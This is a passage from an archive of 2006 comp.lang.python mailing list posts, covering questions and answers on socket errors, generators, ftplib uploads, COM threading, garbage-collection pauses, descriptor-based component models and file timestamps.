up the first bug tracker for gcc (using GNATS), and have been followed the several years of pondering fairly closely. It was quite some work to set up GNATS, and it was even more work to setup bugzilla. For Python, we don't have any person similar to Daniel Berlin (actually, we have several who *could* have done similar work, but none that ever volunteered to do it). Don't underestimate the work of somebody else. I know that I'm currently putting more time into maintaining the Subversion installation than I'd like to, despite this being a really small amount of work per month, and despite others also having been introduced to the infrastructure necessary for administration. When I go on vacation, people effectively have to wait until I return before they can get their write access enabled. I sometimes defer dealing with admin requests for a few days, and people start complaining. Regards, Martin From martin at v.loewis.de Tue Oct 24 01:29:50 2006 From: martin at v.loewis.de (=?ISO-8859-15?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Tue, 24 Oct 2006 07:29:50 +0200 Subject: Socket module bug on OpenVMS In-Reply-To: <453d508b$0$334$e4fe514c@news.xs4all.nl> References: <453ba3a8$0$322$e4fe514c@news.xs4all.nl> <453D472E.2080606@v.loewis.de> <453d508b$0$334$e4fe514c@news.xs4all.nl> Message-ID: <453DA4CE.6020806@v.loewis.de> Irmen de Jong schrieb: > Although I'm not yet convinced about the all-or-nothing failure > model you were talking about. How can I know if recv() fails > with a MemoryError (or socket error) that it actually didn't > receive anything? Is that even an assumption I can rely on? Yes, you can. It can't produce a MemoryError (AFAICT, there is no code path which possibly could (*)). If there is a socket error, then the operating system guarantees that no data were written into the buffer, and that subsequent calls will yield any data that might have been available. (*) It can, of course, produce a MemoryError if the result buffer can't be allocated. If that happens, no recv(2) call has been made, so the MemoryError indicates that nothing has happened - you need to provide the result buffer before calling recv; that's why you need to provide the size of the message you want to receive. > If it isn't, splitting up the recv() internally (into smaller > blocks) wouldn't be any different, right? Right. However, directly calling operating system calls and directly exposing their results allows for such all-or-nothing error model, as the operating system API itself is designed with the goal of atomicity for each operation (or, if there are partial results, has a way of reporting them, e.g. for partial writes). > Nope, I was indeed thinking about splitting up the recv() into > smaller blocks internally. Look at shutil.copytree for an example of what this leads to. This routine originally traversed the input tree, copied all files it could, and skipped over those it couldn't. It ignored the basic principle "errors should never pass silently". I then tried fixing it, and the result is really ugly: It keeps a list of all exceptions that occurred, and then raises a single exception that contains them all. The caller is supposed to know this, and perhaps print out multiple error messages. shutil.rmtree takes a different approach, which could be considered just as ugly: it provides an onerror call-back function which is invoked whenever some remove operation fails. I also think there is some API that returns the partial result inside the exception if there is an exception. The caller has to know this, and look at any data that are already in the exception. Of course, changing an existing API to switch to such a convention should be considered as an incompatible change. > Maybe a more elaborate check in Python's build system (to remove > the MSG_WAITALL on VMS) would qualify as some sort of work-around > as well. Before that is done, somebody should confirm that MSG_WAITALL is really not behaving correctly on VMS. Then, the check doesn't have to be all that elaborate: a simple #ifdef would do. Regards, Martin From apardon at forel.vub.ac.be Fri Oct 27 07:33:44 2006 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 27 Oct 2006 11:33:44 GMT Subject: question about True values References: <7x4ptsi544.fsf@ruckus.brouhaha.com> <1161803802.110116.127470@m7g2000cwm.googlegroups.com> <7xvem8gq22.fsf@ruckus.brouhaha.com> <1161804934.010376.151330@f16g2000cwb.googlegroups.com> <453FD3AF.4040800@v.loewis.de> <1161812827.596356.316450@f16g2000cwb.googlegroups.com> <1161860305.348329.283780@m73g2000cwd.googlegroups.com> Message-ID: On 2006-10-27, Fredrik Lundh wrote: > Antoon Pardon wrote: > >>> since you never publish any code, >> >> This is not True. You shouldn't confuse your lack of recollection >> with reality. > > pointers, please. Sorry, the answer is no. I don't care whether you can locate my code or not or wish to believe me or not. -- Antoon Pardon From fulvio at tm.net.my Wed Oct 11 09:08:02 2006 From: fulvio at tm.net.my (Fulvio) Date: Wed, 11 Oct 2006 21:08:02 +0800 Subject: [Newbie] error handling Message-ID: <200610112108.02741.fulvio@tm.net.my> *********************** Your mail has been scanned by InterScan MSS. *********************** Hello there, Simple question : how do I manage errors by the use "try/except" clause. Example: If I'd like to catch error coming from a function call that's using IMAP4 class, which error may raise such class? In other words I've doubts about which error object I should put after the "except" statement in order to trap the wanted error. Is there, somehow, the way to list the errors from a class or function, prior digging into the source? F From bkhl at stp.lingfil.uu.se Mon Oct 2 13:42:19 2006 From: bkhl at stp.lingfil.uu.se (=?utf-8?Q?Bj=C3=B6rn_Lindstr=C3=B6m?=) Date: Mon, 02 Oct 2006 19:42:19 +0200 Subject: How to coerce a list of vars into a new type? References: <1159803031.530669.105050@k70g2000cwa.googlegroups.com> <1159809439.409720.105860@m73g2000cwd.googlegroups.com> Message-ID: <87zmceiphg.fsf@killalla.dreaming> bearophilehugs at lycos.com: > def f(a, b, c): > map(int, [a, b, c]) > ...code... > > What it does is to: "verify that three parameters can all be converted > into integers, but it doesn't modify the parameters themselves" as the > OP asked. I would probably put that map in an assert statement, to make the intention clearer. -- Bj?rn Lindstr?m Student of computational linguistics, Uppsala University, Sweden From mahs at telcopartners.com Wed Oct 25 17:31:54 2006 From: mahs at telcopartners.com (Michael Spencer) Date: Wed, 25 Oct 2006 14:31:54 -0700 Subject: How to identify generator/iterator objects? In-Reply-To: <453FBCCE.8090306@sbcglobal.net> References: <453FBCCE.8090306@sbcglobal.net> Message-ID: Kenneth McDonald wrote: > I'm trying to write a 'flatten' generator which, when give a > generator/iterator that can yield iterators, generators, and other data > types, will 'flatten' everything so that it in turns yields stuff by > simply yielding the instances of other types, and recursively yields the > stuff yielded by the gen/iter objects. > > To do this, I need to determine (as fair as I can see), what are > generator and iterator objects. Unfortunately: > > >>> iter("abc") > > >>> def f(x): > ... for s in x: yield s > ... > >>> f > > >>> f.__class__ > > > So while I can identify iterators, I can't identify generators by class. > > Is there a way to do this? Or perhaps another (better) way to achieve > this flattening effect? itertools doesn't seem to have anything that > will do it. > > Thanks, > Ken I *think* the only way to tell if a function is a generator without calling it is to inspect the compilation flags of its code object: >>> from compiler.consts import CO_GENERATOR >>> def is_generator(f): ... return f.func_code.co_flags & CO_GENERATOR != 0 ... >>> def f1(): yield 1 ... >>> def f2(): return 1 ... >>> is_generator(f1) True >>> is_generator(f2) False >>> Michael From bignose+hates-spam at benfinney.id.au Sat Oct 14 19:52:14 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Sun, 15 Oct 2006 09:52:14 +1000 Subject: IDE that uses an external editor? References: <20061014121444.C3D0.SLAWOMIR.NOWACZYK.847@student.lu.se> <17713.9709.575464.630058@montanaro.dyndns.org> <20061014212050.C3F7.SLAWOMIR.NOWACZYK.847@student.lu.se> Message-ID: <87fydq3175.fsf@benfinney.id.au> Slawomir Nowaczyk writes: > Well, I haven't yet seen a definition of "Integrated Development > Environment" which would exclude Emacs... +1 QOTW Amen to that. -- \ "Never use a long word when there's a commensurate diminutive | `\ available." -- Stan Kelly-Bootle | _o__) | Ben Finney From daniel.huangfei at gmail.com Fri Oct 20 01:30:02 2006 From: daniel.huangfei at gmail.com (daniel) Date: 19 Oct 2006 22:30:02 -0700 Subject: is it possible to send raw data through ftp? In-Reply-To: References: <1161318367.007363.191360@b28g2000cwb.googlegroups.com> Message-ID: <1161322202.110342.263470@m73g2000cwd.googlegroups.com> On Oct 20, 1:10 pm, Fredrik Lundh wrote: > daniel wrote: > > well, I'm trying to use ftplib to upload data that received from > > socket, and the application is required to restart the transfer at a > > specific interval so as to generate a different target file on the > > server to store subsequent data. > > the problem is 'storbinary' accepts only file-like object"storbinary" works with anything that has a "read" method that takes a > buffer size, so you can wrap the source stream in something like: > > ## > # File wrapper that reads no more than 'bytes' data from a stream. Sets > # the 'eof' attribute to true if the stream ends. > > class FileWrapper: > def __init__(self, fp, bytes): > self.fp = fp > self.bytes = bytes > self.eof = False > def read(self, bufsize): > if self.bytes <= 0: > return "" > data = self.fp.read(min(bufsize, self.bytes)) > if not data: > self.eof = True > self.bytes -= len(data) > return data > > source = open(...) > > while 1: > cmd = "STOR " + generate_file_name() > f = FileWrapper(source, 1000000) > ftp.storbinary(cmd, f) > if f.eof: > break > > I'm trying to understand your code, thank you so much for the help. daniel From tejovathi.p at gmail.com Tue Oct 17 05:43:33 2006 From: tejovathi.p at gmail.com (Teja) Date: 17 Oct 2006 02:43:33 -0700 Subject: COM Error -- Urgent help In-Reply-To: <4pjl6qFj58saU1@uni-berlin.de> References: <1161060922.492588.250930@f16g2000cwb.googlegroups.com> <45347682$0$25906$ba4acef3@news.orange.fr> <1161070831.102884.37930@e3g2000cwe.googlegroups.com> <1161071939.165951.221510@i42g2000cwa.googlegroups.com> <1161076029.101436.3850@e3g2000cwe.googlegroups.com> <4pjl6qFj58saU1@uni-berlin.de> Message-ID: <1161078213.486982.99970@i3g2000cwc.googlegroups.com> Diez B. Roggisch wrote: > Teja wrote: > > > > > Dennis Lee Bieber wrote: > >> On 17 Oct 2006 00:58:59 -0700, "Teja" declaimed > >> the following in comp.lang.python: > >> > >> > thread.start_new_thread(self.nav, (s,'www.google.com') > >> > > >> > I am getting an attribute error > >> > >> That can not be the REAL code... I'd expect a syntax error... You > >> have mismatched parens on that line! > >> -- > >> Wulfraed Dennis Lee Bieber KD6MOG > >> wlfraed at ix.netcom.com wulfraed at bestiaria.com > >> HTTP://wlfraed.home.netcom.com/ > >> (Bestiaria Support Staff: web-asst at bestiaria.com) > >> HTTP://www.bestiaria.com/ > > > > Hi, > > > > Ya its a copy paste error... But can u please let me know what is the > > reason for attribute error and how to rectify it?? > > How many times need you a beating with a clue-stick? > > Post the _actual_ code, not something that closely resembles it - in _your_ > opinion.... > > Post the error message!!!! > > And before you do all this, read: > > http://www.catb.org/~esr/faqs/smart-questions.html > > Diez OK Ok .. Here is the final code thats giving an error: GenericFunctions.py ---------------------------------- import win32com.client, pythoncom, thread ie=win32com.client.Dispatch('internetexplorer.application') ie.Visible=1 class GenericFunctions: def __init__(self): print "In Constructor of Generic Functions" def MyNavigate(self,dest): ie.Navigate(dest) --------------------------------------------------------------------------------------------------------------- MainThread.py -------------------------- import win32com.client, pythoncom, thread from GenericFunctions import * obj = GenericFunctions() import sys,traceback def threadFunction(s,dest): pythoncom.CoInitialize() try: d=pythoncom.CoGetInterfaceAndReleaseStream(s, pythoncom.IID_IDispatch) my_ie=win32com.client.Dispatch(d) #d.MyNavigate(dest) obj.MyNavigate(dest) # this is gving an error. except: my_ie = None print traceback.print_exc(file= sys.stdout) pythoncom.CoUninitialize() if __name__ == "__main__": s=pythoncom.CoMarshalInterThreadInterfaceInStream(pythoncom.IID_IDispatch,ie) thread.start_new_thread(threadFunction, (s,'www.google.com')) ----------------------------------------------------------------------------------------------------------------------------- And here is the error: Traceback (most recent call last): File "C:\Documents and Settings\dzxbrn\Desktop\Stop Test\13 Oct\MainThread.py", line 13, in threadFunction obj.MyNavigate(dest) # this is gving an error. File "C:\Documents and Settings\dzxbrn\Desktop\Stop Test\13 Oct\GenericFunctions.py", line 9, in MyNavigate ie.Navigate(dest) File "C:\Python24\Lib\site-packages\win32com\client\dynamic.py", line 489, in __getattr__ raise AttributeError, "%s.%s" % (self._username_, attr) AttributeError: internetexplorer.application.Navigate None This is highly urgent and important... Please help me out.... Thnks & Regards, Tejovathi.P From gagsl-py at yahoo.com.ar Wed Oct 18 22:25:51 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Wed, 18 Oct 2006 23:25:51 -0300 Subject: Cannot import a module from a variable In-Reply-To: References: <1160920129.886155.112970@b28g2000cwb.googlegroups.com> Message-ID: <7.0.1.0.0.20061018231248.04264008@yahoo.com.ar> At Wednesday 18/10/2006 22:51, Cameron Walsh wrote: > previous_directory = os.getcwd() > try: > os.chdir(directory) > [ ... ] > return modules > finally: > os.chdir(previous_directory) > >Woah, that actually works? Having the "finally" after the "return"? >That could make some things easier, and some things harder... Note that moving the return statement after the finally does *exactly* the same thing, generates shorter code, and is a lot more readable (IMHO). -- Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From buzzi.paolo at gmail.com Mon Oct 2 11:43:29 2006 From: buzzi.paolo at gmail.com (Paolo) Date: 2 Oct 2006 08:43:29 -0700 Subject: postgresql database Message-ID: <1159803809.124967.262290@b28g2000cwb.googlegroups.com> Ciao a tutti, sto cercando di implementare un applicazione che si interfaccia con postgresql(8.1), utilizzando Psycopg2, in ambiente windows (python versione 2.5). Ho installato Psycopg2 e provando solamente fare: import psycopg mi ritorna il seguente errore: import psycopg ImportError: No module named psycopg come mai? va settata qualche path oltre a quella di postgresql ? grazie dell'aiuto From hanumizzle at gmail.com Fri Oct 6 05:11:42 2006 From: hanumizzle at gmail.com (hanumizzle) Date: Fri, 6 Oct 2006 05:11:42 -0400 Subject: help on pickle tool In-Reply-To: References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com> <1160112357.891308.200020@i42g2000cwa.googlegroups.com> <1160114085.944898.224340@k70g2000cwa.googlegroups.com> <1160115558.554509.292870@c28g2000cwb.googlegroups.com> <4525F78D.5010200@pythonware.com> Message-ID: <463ff4860610060211s65c41d5agcec9f8f820b85d93@mail.gmail.com> On 10/6/06, Steve Holden wrote: > I have to agree that YAML, having started out with simplicity in mind, > has become a monster that threatens to collapse under its own weight. > The very existence of JSON is a good indicator that YAML has failed to > meet its design goals for a significant proportion of application > developers. I am looking at JSON, but YAML does work fine for my purposes w/ no discernable disadvantages. Of course I didn't implement the library, so I can't really speak with any kind of expertise on this matter. I'm just saying that, at least at the front end, it's pretty simple to use. (JMO) -- Theerasak From steve at holdenweb.com Sun Oct 1 09:38:30 2006 From: steve at holdenweb.com (Steve Holden) Date: Sun, 01 Oct 2006 14:38:30 +0100 Subject: Is this a bug? Python intermittently stops dead for seconds In-Reply-To: References: Message-ID: charlie strauss wrote: > Below is a simple program that will cause python to intermittently > stop executing for a few seconds. it's 100% reproducible on my machine. > > I'd be tempted to say this is a nasty garbage collection performance > issue except that there is no major memory to be garbage collected in > this script. I'd be tempted to say it was a unix virtual memory > issue except this is occuring at around 1/5th of my physical memory > size. So something else unexplained is going on > > Class Foo instances create and hold a list of size nfoo of integers. > (nfoo =10) > > Class Bar instances create and hold a list of size nbar of Foo > objects. (nbar =100) > > When the code runs it starts creating and storing Bar objects in a > list while watching for real-time glitches in how long it takes to > create the next Foo object. If this is longer than 1/2 of a second > then it reports it. > > On my computer after creating 1500 Bar objects, the rate of > creation of new Foo suddenly has a periodic glitch. This glitch re- > occurs about every 300 Bar Objects, and the duration of the glitch > keeps getting longer--growing to many seconds!!!! > > Platform: 800Mhz powermac g 4 1Gb of memory > python: python 2.4.2 > > Note: since I an using absolute time threshold for reporting the > glitches, the first one may take more iterations before it occurs on > a fast computer. You may need to increase nbar or nfoo. > > import sys > from time import time > > > class Foo(object): > def __init__(me,nfoo): > me.memory = [1]*nfoo > > class Bar(object): > def __init__(me,nbar,nfoo): > tgx.set_tag("Bar") # timer > > b = [None]*nbar > for i in xrange(nbar): > b[i]=Foo(nfoo) # make a foo, add it to list > tgx.jump("Bar"+`i`) #timer > > me.b = b #store the list in my instance memory > > > > > # just a utility class to time things. > class gtime: > def __init__(me,f=sys.stderr): > me.last = time() > me.f=f > me.tag = "" > me.ticks = 0 > > def set_tag(me,tag): > me.tag = tag > me.ticks = 0 > > def reset(me): > me.ticks = 0 > > def jump(me,tag="NONE",allowed_gap=0.5): > me.t = time() > me.ticks +=1 > if me.t-me.last>allowed_gap: > print >>me.f,"Big Gap:",me.t-me.last,"seconds > ",me.tag,tag,me.ticks > me.last = time() > > tgx = gtime() # instance of the timer > > > # main loop > nbar = 100 > nfoo = 10 > > ad_nauseum = 20000 > final = [None]*ad_nauseum > > for i in xrange(ad_nauseum ): > if i%100 == 0 :print >>sys.stderr,"Bars Made: ",i > final[i] = Bar(nbar,nfoo) > I'm not the Timbot, but the behaviour of the program seems reasonably comprehensible to me. You create a list of 20,000 elements and proceed to populate it with Bar objects, each of which contains a thousand-element list pointing to a ten-element list. So despite the fact that all list elements are (references to) the integer 1, there are a lot of references, which take up a lot of memory. Each time you report on the number of Bars you've created 100,000 references to 1. So it's hardly surprising that at some point the garbage collector cuts in and starts looking for free memory, which takes a certain amount of time. It's also unsurprising that the garbage collector takes longer the more stuff you have in memory, because it has to sweep all those structures to make sure that there aren't any collectible cycles. As I run the program I see virtual memory usage climbing steadily - hardly surprising given the nature of the program. At some point the working set of the program is going to exceed the amount of physical memory that the operating system can allocate it. At that point paging will start to occur, and garbage collection (which has to access more or less all of memory) is now triggering disk activity, making it slower by a significant margin. This didn't happen on my machine with your initial settings as I have plenty of memory, but when I increased the foo size to 100, by the time I'd allocated 13,000 bars I was seeing big big gaps and little big gaps, the big ones apparently being required by the need to page something else out to allocate additional space for the task: Bars Made: 12900 Big Gap: 3.78899979591 seconds Bar Bar95 96 Bars Made: 13000 Big Gap: 0.500999927521 seconds Bar Bar89 90 Bars Made: 13100 Bars Made: 13200 Big Gap: 3.72300004959 seconds Bar Bar65 66 Bars Made: 13300 Big Gap: 0.500999927521 seconds Bar Bar72 73 Bars Made: 13400 Bars Made: 13500 Big Gap: 3.83699989319 seconds Bar Bar35 36 Bars Made: 13600 Bars Made: 13700 Big Gap: 0.500999927521 seconds Bar Bar65 66 Bars Made: 13800 Big Gap: 3.90399980545 seconds Bar Bar4 5 Bars Made: 13900 Bars Made: 14000 Bars Made: 14100 Big Gap: 3.95200014114 seconds Bar Bar75 76 Bars Made: 14200 Big Gap: 0.500999927521 seconds Bar Bar38 39 Bars Made: 14300 I trust readers will excuse me for attaching a small PNG graphic that clearly shows this behaviour: CPU utilisation climbs to around 100%, but then starts dropping intermittently - this *has* to be paging activity. When CPU activity dives just after 300 seconds that's when I hit CTRL/C. The subsequent 800 seconds was spent unwinding the memory so it could be deallocated! Bars Made: 14400 Big Gap: 0.799000024796 seconds Bar Bar0 1 Traceback (most recent call last): File "test40.py", line 57, in final[i] = Bar(nbar,nfoo) File "test40.py", line 15, in __init__ b[i]=Foo(nfoo) # make a foo, add it to list File "test40.py", line 6, in __init__ def __init__(me,nfoo): KeyboardInterrupt [LOOOOOOOOONG PAUSE ...} sholden at bigboy ~/Projects/Python $ I might add that it took a long time for Windows performance to recover, since any task that I subsequently touched had to be brought back in from suspension in the paging file. This is one of those cases where it would be faster to avoid using garbage collection at all, since no cyclic structures appear to be created. But there's an indication of just how much memory you are using in the length of time the program takes between reporting a KeyboardInterrupt and returning to the command line prompt: this is precisely the length of time it take to deallocate all those lists and return them to the free memory pool. So basically what you have here is a pathological example of why it's sometimes wise to disable garbage collection. Tim, did I miss anything? regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden -------------- next part -------------- A non-text attachment was scrubbed... Name: test40.png Type: image/png Size: 8451 bytes Desc: not available URL: From pavlovevidence at gmail.com Sun Oct 15 19:04:49 2006 From: pavlovevidence at gmail.com (Carl Banks) Date: 15 Oct 2006 16:04:49 -0700 Subject: classroom constraint satisfaction problem References: <1LadnZCCBosBMK_YnZ2dnUVZ_r-dnZ2d@comcast.com> Message-ID: <1160953489.010661.115340@e3g2000cwe.googlegroups.com> Steven Bethard wrote: > I'm trying to solve a constraint-satisfaction problem, and I'm having > some troubles framing my problem in such a way that it can be > efficiently solved. > > Basically, I want to build groups of two teachers and four students such > that [1]: > > * Students are assigned to exactly one group > * Teachers are assigned to approximately the same number of groups > * Students are not in groups with their homeroom teachers > * Students in each group are from four different homerooms > > So given teachers A, B, C, D, E and F and their corresponding students > A1, A2, ... F3, F4, here's a good grouping: > > A, B: C1, D1, E1, F1 > B, C: A1, D2, E2, F2 > C, D: A2, B1, E3, F3 > D, E: A3, B2, C2, F4 > E, F: A4, B3, C3, D3 > F, A: B4, C4, D4, E4 [snip] > [1] There are actually two other constraints that I omitted: > > * Some teachers cannot be placed in the same group, e.g. I might know > that A cannot work with B or that E cannot work with F. > > * If you create a graph out of the teacher pairs from all the groups, > the graph should not be disconnected. That is, the following grouping > is bad because the teachers are disconnected: I would do it in two steps. Step 1: Generate a graph of all teachers, such that there is one connection for every four students, and each teacher has approximately equal number of connections. A simple, approximate way to do this would be to generate random subsets of two teachers until you have enough connections (though that won't work well if you have a lot of teachers that can't work together, which wouldn't be surprising). I'm sure graph theory has some algorithms to do this if you need more exactitude. Step 2: Assign students from appropriate homerooms to each connection. The following simple algorithm is probably satisfactory: for each connection between teachers, choose a random subset of four homerooms not governed by those teachers to form a group. Assign a random student from each homeroom. Once every student from a homeroom has been been assigned, remove that homeroom from the set of available homerooms. With this method, you might have some connections at the end without enough remaining homerooms; just go fishing for a suitable switch among students already assigned. Or, work out a way to make sure you don't exhaust too many homerooms. Perhaps there is a known algorithm for doing this. Carl Banks From paul at boddie.org.uk Tue Oct 24 06:02:53 2006 From: paul at boddie.org.uk (Paul Boddie) Date: 24 Oct 2006 03:02:53 -0700 Subject: python GUIs comparison (want) References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com> Message-ID: <1161684173.380260.60580@m73g2000cwd.googlegroups.com> Cameron Walsh wrote: > > I googled "python gui compare" a while back and got > www.awaretek.com/toolkits.html as the first result. See also the python.org Wiki for more information: http://wiki.python.org/moin/UsefulModules http://wiki.python.org/moin/GuiProgramming (big list!) > Every variation on the values I entered seemed to point me to wxPython, > which I'm still using now. However, they seem to think that EasyGUI is > the easiest to learn, but that it suffers on "Maturity, documentation, > breadth of widget selection". The figures behind the scenes are quite enlightening for that particular page. If you (or community experiences) don't agree with the rankings (wxPython apparently even easier to learn than PythonCard and Tkinter, a bunch of Gtk-based toolkits having more or less "full" Linux scores) then you'll have some surprises, I'm sure. Nevertheless, it's an interesting concept. Paul From fumanchu at amor.org Tue Oct 10 13:47:19 2006 From: fumanchu at amor.org (fumanchu) Date: 10 Oct 2006 10:47:19 -0700 Subject: Python component model References: <452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net> <1160467516.602655.169920@c28g2000cwb.googlegroups.com> Message-ID: <1160502439.729432.13480@h48g2000cwc.googlegroups.com> Edward Diener No Spam wrote: > OK, here is my idea of what such a component model envisages as a list > of items. After this, unless I get some intelligent comments from people > who might be interested in what I envision, or something very similar, I > will be off to investigate it myself rather than do battle with the > horde of people who will just tell me that Python, being a great > language, does not need what I have suggested. [This quote hacked up by me:] > 1) Component property: This is a glorified attribute with a type that > a) can be specified in a "static" manner, or discovered dynamically, > b) has converters between a string and the actual value > c) has a getter function to retrieve the value if it is readable and a > setter function to set the value if it is writable. > d) be either readable or writable or both. > e) not any Python class attribute since a component has the right > to specify only certain values as manipulatable in a design-time > RAD environment. Whenever you say "glorified attribute", your first thought should be "Python descriptor" (but not your last--it's not a cure-all). They are able to do all of (a, b, c, d, e) which I marked in your text above. For example, here's a descriptor for attributes-you-want-to-persist-in-a-database from my ORM, Dejavu (see http://projects.amor.org/dejavu/browser/trunk/units.py#l290): class UnitProperty(object): """Data descriptor for Unit data which will persist in storage.""" def __init__(self, type=unicode, index=False, hints=None, key=None, default=None): self.type = type self.index = index if hints is None: hints = {} self.hints = hints self.key = key self.default = default def __get__(self, unit, unitclass=None): if unit is None: # When calling on the class instead of an instance... return self else: return unit._properties[self.key] def __set__(self, unit, value): if self.coerce: value = self.coerce(unit, value) oldvalue = unit._properties[self.key] if oldvalue != value: unit._properties[self.key] = value def coerce(self, unit, value): if value is not None and not isinstance(value, self.type): # Try to cast the value to self.type. try: value = self.type(value) except Exception, x: x.args += (value, type(value)) raise return value def __delete__(self, unit): raise AttributeError("Unit Properties may not be deleted.") > a) can be specified in a "static" manner, or discovered dynamically, The "component model" can either scan a class for instances of UnitProperty or keep a registry of them in the class or elsewhere (via a metaclass + add_property functions). > b) has converters between a string and the actual value Note the "coerce" function above. Something similar could be done for serialization (which I can prove in my case because I use UnitProperty to help produce SQL ;) but you could just as easily pickle unit._properties and be done with it. > c) has a getter function to retrieve the value if it is readable and a > setter function to set the value if it is writable. > d) be either readable or writable or both. Descriptors that only have __get__ are read-only; if they have __set__ they are read-write. > e) not any Python class attribute since a component has the right > to specify only certain values as manipulatable in a design-time > RAD environment. Right. Descriptors allow the creator of a class to use "normal" attributes (including functions) which don't participate in the component model. > 2) Component event: This is an type which encapsulates an array, or a > list of callable objects with the same function signature, along with > the functionality to add and remove elements from the array, as well as > cycle through the array calling the callable objects as a particular > event is triggered. A component event is an event source for a > particular event. Component events have to be dicoverable by the Visual > RAD system so that an object's appropriate event handler, an event sink, > can be hooked to the component event itself, an event source, through a > design time interface which propagates the connection at run-time. This can be accomplished by creating a ComponentEvent descriptor whose __get__ returns an object with a __call__ method. Here's a base class for something similar (again, from Dejavu): class UnitAssociation(object): """Non-data descriptor method to retrieve related Units via attributes.""" to_many = None def __init__(self, nearKey, farClass, farKey): # Since the keys will be used as kwarg keys, they must be strings. self.nearKey = str(nearKey) self.farKey = str(farKey) self.nearClass = None self.farClass = farClass def __get__(self, unit, unitclass=None): if unit is None: # When calling on the class instead of an instance... return self else: m = types.MethodType(self.related, unit, unitclass) return m def __delete__(self, unit): raise AttributeError("Unit Associations may not be deleted.") def related(self, unit, expr=None, **kwargs): raise NotImplementedError Subclasses override the "related" method, but a ComponentEvent class could just as easily do: def run(self, *args, **kwargs): for sink in self.sinks: sink(*args, **kwargs) > 3: Component serialization: A component which has its properties and > events set by a visual design-time RAD environment needs to be > serialized at design time and deserialized at run-time. This can be a > default serialization of all component properties and events, or the > component itself can participate in the serilization effort either > wholly or partly. In Dejavu, the UnitProperty class is your "component property" and the Unit class is the component. The Unit class has a copy method: def __copy__(self): newUnit = self.__class__() for key in self.properties: if key in self.identifiers: prop = getattr(self.__class__, key) newUnit._properties[key] = prop.default else: newUnit._properties[key] = self._properties[key] newUnit.sandbox = None return newUnit It wouldn't be hard to replace "newUnit._properties[key] = self._properties[key]" with "dump(self._properties[key])". > 4) Custom property and component editors: A component editor can present > a property editor or an editor for an entire component which the visual > design-time RAD environment can use to allow the programmer end-user of > the component to set or get component property values. Normally a design > time environment will present default property editors for each > component property type, but a component can override this. This is the hard part. I believe Dabo has done some work in this space, but this is where the tight coupling comes in between code and tool, a coupling which Python has traditionally resisted. > 5) Custom type converters: A component should be able to specify a > custom converter for any property to convert, in both directions or > either direction, between the property's string value as seen by a > property editor and the actual value of the component property's type. A ComponentProperty descriptor could include a custom pair of methods to get/set as string. This is often done in web frameworks which need to coerce incoming string values to the correct type. All of which is to say: nobody's done this yet because parts 1, 2, 3 and 5 are trivial to do with descriptors, but actually building a visual RAD environment is too much work. ;) Robert Brewer System Architect Amor Ministries fumanchu at amor.org From skip at pobox.com Mon Oct 30 10:56:33 2006 From: skip at pobox.com (skip at pobox.com) Date: Mon, 30 Oct 2006 09:56:33 -0600 Subject: Calling GNU/make from a Python Script In-Reply-To: References: <45462091@news.bezeqint.net> Message-ID: <17734.8369.273509.581944@montanaro.dyndns.org> Fredrik> build_dir = "path/to/makefile" Fredrik> cwd = os.getcwd() # get current directory Fredrik> try: Fredrik> os.chdir(build_dir) Fredrik> os.system("make") Fredrik> finally: Fredrik> os.chdir(cwd) Or even: os.system("make -C %s" % build_dir) Skip From deets at nospam.web.de Wed Oct 4 12:09:50 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Wed, 04 Oct 2006 18:09:50 +0200 Subject: How to ask sax for the file encoding References: <4oi0f3FehgnuU1@uni-berlin.de> Message-ID: <4oi4meFep2seU1@uni-berlin.de> Edward K. Ream wrote: >> [The value of the encoding field] _could_ be retained, but for what >> purpose? > > I'm asking this question because my app needs it :-) > Imo, there is *no* > information in any xml file that can be considered irrelvant. It sure is! The encoding _is_ irrelevant, in the very moment you get unicode strings. The order of attributes is irrelevant. There is plenty of irrelevant whitespace. And so on... > My app will > want to know the original encoding when writing the file. When your app needs it, whatfor does it need it? If you write out xml again, use whatever encoding suits you best. If you don't, use the encoding that the subsequent application or processing step needs. Diez From utabintarbo at gmail.com Thu Oct 5 14:10:06 2006 From: utabintarbo at gmail.com (utabintarbo) Date: 5 Oct 2006 11:10:06 -0700 Subject: Asychronous execution *with* return codes? In-Reply-To: <1160065159.562889.184860@i3g2000cwc.googlegroups.com> References: <1160051584.291073.44350@m73g2000cwd.googlegroups.com> <1160053403.362330.136200@k70g2000cwa.googlegroups.com> <1160059393.325634.167640@e3g2000cwe.googlegroups.com> <1160065159.562889.184860@i3g2000cwc.googlegroups.com> Message-ID: <1160071806.019770.198470@e3g2000cwe.googlegroups.com> Justin wrote: > If you're on a POSIX system, you could use the usual fork/exec/wait: > Sorry. Win32. We are only allowed spoons - no sharp objects. :-P From mpraveenreddy at gmail.com Sun Oct 29 22:55:59 2006 From: mpraveenreddy at gmail.com (Praveen) Date: 29 Oct 2006 19:55:59 -0800 Subject: How to access file last modified dates on each file in a directory In-Reply-To: <1162177219.649954.318150@h48g2000cwc.googlegroups.com> References: <1162177219.649954.318150@h48g2000cwc.googlegroups.com> Message-ID: <1162180559.127449.102560@e3g2000cwe.googlegroups.com> I hope this sample code helps def getfileinfo(filename): print 'Filename : %s' % filename stats = os.stat(filename) size = stats[stat.ST_SIZE] print 'File Size is %d bytes' % size accessed = stats[stat.ST_ATIME] modified = stats[stat.ST_MTIME] print 'Last accessed: ' + time.ctime(accessed) print 'Last modified: ' + time.ctime(modified) Regards, Praveen On Oct 30, 8:00 am, RAMohrm... at adelphia.net wrote: > Greetings, > > I am attempting to view all files in a directory and if those files > have not been modified within the last couple days I will remove them. > In order to do this I need to look at the file date modied and check > the date. I know how to look at each file name and I know how to remove > the file. I just can't figure out how to get access to the date last > modifed filed. Below is how I intend to access the file names in the > directory. > > >>> import os,time,sys > >>> cachedirectory="c:\\informatica\\cache\\" > >>> 